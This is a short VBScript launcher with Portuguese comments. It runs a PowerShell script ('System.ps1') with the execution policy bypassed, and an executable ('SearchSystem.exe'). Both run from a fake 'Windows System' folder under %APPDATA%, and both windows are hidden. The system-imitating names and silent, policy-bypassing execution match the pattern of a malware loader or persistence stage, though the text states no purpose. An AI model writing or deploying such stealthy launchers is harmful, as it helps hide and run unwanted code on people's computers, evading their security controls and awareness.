Set WshShell = CreateObject("WScript.Shell")
appData = WshShell.ExpandEnvironmentStrings("%APPDATA%")

' Caminhos dos arquivos
psScript = appData & "\Windows System\bin\System.ps1"
exePrincipal = appData & "\Windows System\bin\SearchSystem.exe"

' Executa o PowerShell de forma invisível (o 0 no final esconde a janela)
WshShell.Run "powershell.exe -ExecutionPolicy Bypass -File """ & psScript & """", 0

' Executa o executável principal de forma invisível
WshShell.Run """" & exePrincipal & """", 0

Set WshShell = Nothing